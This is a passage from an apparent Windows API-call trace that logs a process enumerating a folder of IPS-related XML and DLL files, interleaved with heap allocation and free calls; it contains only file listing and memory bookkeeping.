ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0143.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dc28 [0143.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985da8 [0143.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.194] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0143.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dc48 [0143.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985e30 [0143.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.195] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0143.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.195] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0143.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dc68 [0143.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985eb8 [0143.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.195] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0143.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dc88 [0143.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985f40 [0143.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.195] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0143.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dca8 [0143.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985fc8 [0143.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0x98de90 [0143.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9839e0) returned 1 [0143.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.196] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0143.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dcc8 [0143.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986050 [0143.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.196] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0143.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dce8 [0143.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9860d8 [0143.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.196] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0143.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dd08 [0143.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986160 [0143.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.197] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0143.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.197] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0143.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dd28 [0143.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9861e8 [0143.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.197] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0143.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dd48 [0143.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986270 [0143.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.197] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0143.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dd68 [0143.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9862f8 [0143.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.198] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0143.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.198] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0143.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dd88 [0143.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986380 [0143.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.198] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0143.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dda8 [0143.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986408 [0143.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.198] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0143.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98ddc8 [0143.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986490 [0143.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.199] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0143.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98dde8 [0143.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986518 [0143.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.199] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0143.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98de08 [0143.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9865a0 [0143.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.199] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0143.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98de28 [0143.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986628 [0143.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.199] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 